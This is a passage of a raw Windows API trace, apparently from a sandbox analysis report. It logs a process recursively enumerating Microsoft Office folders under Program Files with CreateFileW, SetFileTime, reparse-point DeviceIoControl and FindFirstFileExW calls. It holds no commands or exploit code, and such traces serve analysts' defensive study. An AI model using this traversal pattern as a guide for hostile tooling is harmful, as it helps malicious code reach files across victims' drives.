ftCreationTime.dwLowDateTime=0x528a9ed0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6187c750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6187c750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.693] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0055.694] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x17aee80, lpLastWriteTime=0x17aee80) returned 0 [0055.694] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf8efc8, nOutBufferSize=0x4000, lpBytesReturned=0x17aeed8, lpOverlapped=0x0 | out: lpOutBuffer=0xf8efc8, lpBytesReturned=0x17aeed8, lpOverlapped=0x0) returned 0 [0055.694] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\*", fInfoLevelId=0x1, lpFindFileData=0x17aec88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aec88) returned 0x459d38 [0055.696] GetLastError () returned 0x12 [0055.696] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\*", fInfoLevelId=0x1, lpFindFileData=0x17aec88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aec88) returned 0x459c38 [0055.696] FindClose (in: hFindFile=0x459d38 | out: hFindFile=0x459d38) returned 1 [0055.696] GetLastError () returned 0x12 [0055.696] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0055.697] GetLastError () returned 0x12 [0055.697] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0055.697] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA" (normalized: "c:\\program files\\microsoft office\\media"), fInfoLevelId=0x0, lpFileInformation=0x17af0f4 | out: lpFileInformation=0x17af0f4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.697] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA" (normalized: "c:\\program files\\microsoft office\\media"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0055.698] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x17af138, lpLastWriteTime=0x17af138) returned 0 [0055.698] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf8f048, nOutBufferSize=0x4000, lpBytesReturned=0x17af190, lpOverlapped=0x0 | out: lpOutBuffer=0xf8f048, lpBytesReturned=0x17af190, lpOverlapped=0x0) returned 0 [0055.698] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\*", fInfoLevelId=0x1, lpFindFileData=0x17aef40, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aef40) returned 0x459c78 [0055.698] GetLastError () returned 0x12 [0055.698] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\*", fInfoLevelId=0x1, lpFindFileData=0x17aef40, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aef40) returned 0x459c38 [0055.698] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0055.698] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10"), fInfoLevelId=0x0, lpFileInformation=0x17aee3c | out: lpFileInformation=0x17aee3c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbd6dc020, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd6dc020, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.698] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0055.698] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x17aee80, lpLastWriteTime=0x17aee80) returned 0 [0055.699] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf8f048, nOutBufferSize=0x4000, lpBytesReturned=0x17aeed8, lpOverlapped=0x0 | out: lpOutBuffer=0xf8f048, lpBytesReturned=0x17aeed8, lpOverlapped=0x0) returned 0 [0055.699] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*", fInfoLevelId=0x1, lpFindFileData=0x17aec88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aec88) returned 0x459c78 [0055.702] GetLastError () returned 0x12 [0055.702] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*", fInfoLevelId=0x1, lpFindFileData=0x17aec88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aec88) returned 0x459d38 [0055.702] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0055.702] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\1033"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeec79e70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.702] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0055.702] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0055.702] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf9a110, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xf9a110, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0055.703] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c78 [0055.703] GetLastError () returned 0x12 [0055.703] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459bf8 [0055.703] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0055.703] GetLastError () returned 0x12 [0055.703] FindClose (in: hFindFile=0x459bf8 | out: hFindFile=0x459bf8) returned 1 [0055.703] GetLastError () returned 0x12 [0055.703] FindClose (in: hFindFile=0x459d38 | out: hFindFile=0x459d38) returned 1 [0055.703] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14" (normalized: "c:\\program files\\microsoft office\\media\\office14"), fInfoLevelId=0x0, lpFileInformation=0x17aee3c | out: lpFileInformation=0x17aee3c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef015d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x596c1850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x596c1850, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.704] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14" (normalized: "c:\\program files\\microsoft office\\media\\office14"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0055.704] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x17aee80, lpLastWriteTime=0x17aee80) returned 0 [0055.704] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf9a110, nOutBufferSize=0x4000, lpBytesReturned=0x17aeed8, lpOverlapped=0x0 | out: lpOutBuffer=0xf9a110, lpBytesReturned=0x17aeed8, lpOverlapped=0x0) returned 0 [0055.704] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\*", fInfoLevelId=0x1, lpFindFileData=0x17aec88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aec88) returned 0x459d38 [0055.705] GetLastError () returned 0x12 [0055.705] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\*", fInfoLevelId=0x1, lpFindFileData=0x17aec88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aec88) returned 0x459bf8 [0055.705] FindClose (in: hFindFile=0x459d38 | out: hFindFile=0x459d38) returned 1 [0055.705] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033" (normalized: "c:\\program files\\microsoft office\\media\\office14\\1033"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef015d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.705] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033" (normalized: "c:\\program files\\microsoft office\\media\\office14\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0055.705] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0055.705] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf9a110, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xf9a110, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0055.705] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459d38 [0055.705] GetLastError () returned 0x12 [0055.705] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c78 [0055.706] FindClose (in: hFindFile=0x459d38 | out: hFindFile=0x459d38) returned 1 [0055.706] GetLastError () returned 0x12 [0055.706] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0055.706] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbcce4400, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbcce4400, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.707] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0055.707] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0055.707] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf9a110, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xf9a110, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0055.707] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c78 [0055.712] GetLastError () returned 0x12 [0055.712] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459d38 [0055.712] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0055.712] GetLastError () returned 0x12 [0055.712] FindClose (in: hFindFile=0x459d38 | out: hFindFile=0x459d38) returned 1 [0055.713] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5178e0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbd42e760, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd42e760, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.714] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0055.715] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0055.715] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfa2210, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xfa2210, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0055.715] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459d38 [0055.718] GetLastError () returned 0x12 [0055.718] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c78 [0055.719] FindClose (in: hFindFile=0x459d38 | out: hFindFile=0x459d38) returned 1 [0055.719] GetLastError () returned 0x12 [0055.719] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0055.720] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5178e0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd4548c0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.721] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0055.721] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0055.721] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfad458, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xfad458, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0055.722] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c78 [0055.723] GetLastError () returned 0x12 [0055.724] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459d38 [0055.724] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0055.724] GetLastError () returned 0x12 [0055.724] FindClose (in: hFindFile=0x459d38 | out: hFindFile=0x459d38) returned 1 [0055.725] GetLastError () returned 0x12 [0055.725] FindClose (in: hFindFile=0x459bf8 | out: hFindFile=0x459bf8) returned 1 [0055.725] GetLastError () returned 0x12 [0055.725] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0055.725] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14" (normalized: "c:\\program files\\microsoft office\\office14"), fInfoLevelId=0x0, lpFileInformation=0x17af0f4 | out: lpFileInformation=0x17af0f4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5db9aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5db9aa0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x18000)) returned 1 [0055.725] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14" (normalized: "c:\\program files\\microsoft office\\office14"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0055.725] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x17af138, lpLastWriteTime=0x17af138) returned 0 [0055.725] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfb08a0, nOutBufferSize=0x4000, lpBytesReturned=0x17af190, lpOverlapped=0x0 | out: lpOutBuffer=0xfb08a0, lpBytesReturned=0x17af190, lpOverlapped=0x0) returned 0 [0055.725] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\*", fInfoLevelId=0x1, lpFindFileData=0x17aef40, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aef40) returned 0x459c38 [0055.729] GetLastError () returned 0x12 [0055.729] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\*", fInfoLevelId=0x1, lpFindFileData=0x17aef40, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aef40) returned 0x459bf8 [0055.729] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0055.729] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033" (normalized: "c:\\program files\\microsoft office\\office14\\1033"), fInfoLevelId=0x0, lpFileInformation=0x17aee3c | out: lpFileInformation=0x17aee3c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdf0acac0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xdf0acac0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x18000)) returned 1 [0055.729] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033" (normalized: "c:\\program files\\microsoft office\\office14\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0055.730] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x17aee80, lpLastWriteTime=0x17aee80) returned 0 [0055.730] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfb8a20, nOutBufferSize=0x4000, lpBytesReturned=0x17aeed8, lpOverlapped=0x0 | out: lpOutBuffer=0xfb8a20, lpBytesReturned=0x17aeed8, lpOverlapped=0x0) returned 0 [0055.730] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x17aec88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aec88) returned 0x459c38 [0055.735] GetLastError () returned 0x12 [0055.735] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x17aec88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aec88) returned 0x459d38 [0055.736] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0055.736] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Bibliography" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bibliography"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e1bb530, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e1bb530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e1bb530, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.737] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Bibliography" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bibliography"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0055.737] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0055.737] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a20048, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0x1a20048, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0055.737] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Bibliography\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c38 [0055.737] GetLastError () returned 0x12 [0055.737] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Bibliography\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c78 [0055.738] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0055.738] GetLastError () returned 0x12 [0055.738] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0055.738] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dataservices"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecec290, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.739] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dataservices"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0055.739] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0055.739] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a20048, 